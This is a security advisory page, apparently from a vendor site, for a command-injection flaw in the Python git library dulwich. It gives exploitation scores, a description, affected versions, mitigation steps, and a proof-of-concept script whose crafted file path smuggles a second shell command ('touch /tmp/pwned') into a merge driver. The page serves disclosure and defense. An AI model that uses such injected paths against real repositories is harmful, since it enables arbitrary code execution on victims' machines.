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GHSA-9277-mp7x-85jf

Fix: jelmer/dulwich@e3331b3

GHSA-9277-mp7x-85jf is a OS Command Injection vulnerability in dulwich. O3 Security confirms whether GHSA-9277-mp7x-85jf is actually reachable in your code before you act, and blocks exploitation at runtime until you patch.

Dulwich Vulnerable to Command Injection via Merge Driver Path

Also known asCVE-2026-42563PYSEC-2026-2464
Published
May 28, 2026
Updated
Jul 13, 2026
Affected
1 pkg
Patched
1 / 1
Exploits
None indexed
Exploitation data as of Aug 9, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
  • A successful exploit gives an attacker total control of the affected component, not partial access.

Exploitation and automatability from CISA’s SSVC triage for GHSA-9277-mp7x-85jf.

EPSS Exploitation Probability

via FIRST.org ↗
0.6%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs43th percentile — riskier than 43% of all scored CVEsHighest risk
0.06%0.39%0.72%1.05%0.6%0.6%0.6%Jul 26Aug 26Aug 26

EPSS (Exploit Prediction Scoring System) is a daily probability model maintained by FIRST.org. It estimates the likelihood a CVE will be exploited in production environments within the next 30 days, derived from real-world threat intelligence signals.

Real-World Exposure

1 pkg affected
🐍dulwich

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.

Description

Summary

Dulwich's ProcessMergeDriver substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the %P placeholder and executes it with subprocess.run(..., shell=True). An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths.

Description

  • Type: Command Injection
  • Source: merge.py line 195 — path from merge tree (from repository content when merging untrusted branch)
  • Sink: merge_drivers.py lines 124–127 — subprocess.run(cmd, shell=True) where cmd includes path via %P placeholder
  • Impact: Arbitrary code execution when merging from a malicious repository. Requires the user to have a merge driver configured that uses the %P placeholder.

Resources

Proof of Concept

from dulwich.attrs import GitAttributes, Pattern
from dulwich.config import ConfigDict
from dulwich.merge import merge_blobs
from dulwich.objects import Blob

# Merge driver with %P (path) - typical for custom merge tools
config = ConfigDict()
config.set((b"merge", b"injectable"), b"driver", b"echo %P > %A")

patterns = [(Pattern(b"*"), {b"merge": b"injectable"})]
gitattributes = GitAttributes(patterns)

base = Blob.from_string(b"base")
ours = Blob.from_string(b"ours")
theirs = Blob.from_string(b"theirs")

# Malicious path from attacker-controlled git tree: injects "touch /tmp/pwned"
malicious_path = b"x; touch /tmp/pwned #"

merge_blobs(base, ours, theirs, path=malicious_path,
            gitattributes=gitattributes, config=config)
# => Executes: echo x; touch /tmp/pwned #
# => Shell runs: echo x, then touch /tmp/pwned

Fix

merge_drivers_shell_escape.patch

Affected Packages

1 total 1 fixed
EcosystemPackageVulnerable rangeFix
🐍PyPIdulwich≥ 0.24.0&&< 1.2.51.2.5

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for dulwich. O3's reachability analysis confirms whether the vulnerable code path is actually invoked in your application, so you act on real exposure instead of every transitive match.

  2. Fix

    Update dulwich to 1.2.5 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms GHSA-9277-mp7x-85jf is resolved across your whole dependency graph.

  3. Workarounds

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

  4. How O3 protects you

    O3 pinpoints whether GHSA-9277-mp7x-85jf is reachable in your code and exactly where to fix it, then blocks exploitation in production at runtime until the patched version is deployed.

Tailored to GHSA-9277-mp7x-85jf. Runtime protection reduces exposure until a permanent patch is applied and verified — it complements patching, it doesn't replace it.

Frequently Asked Questions

## Summary Dulwich's `ProcessMergeDriver` substitutes the file path (from the git tree, controllable by an attacker via a malicious branch) into the merge driver command via the `%P` placeholder and executes it with `subprocess.run(..., shell=True)`. An attacker who can cause a victim to merge an untrusted branch can achieve arbitrary command execution by crafting malicious file paths. ## Description - **Type:** Command Injection - **Source:** `merge.py` line 195 — path from merge tree (from repository content when merging untrusted branch) - **Sink:** `merge_drivers.py` lines 124–127 — `su
O3 Security · Impact-Aware SCA

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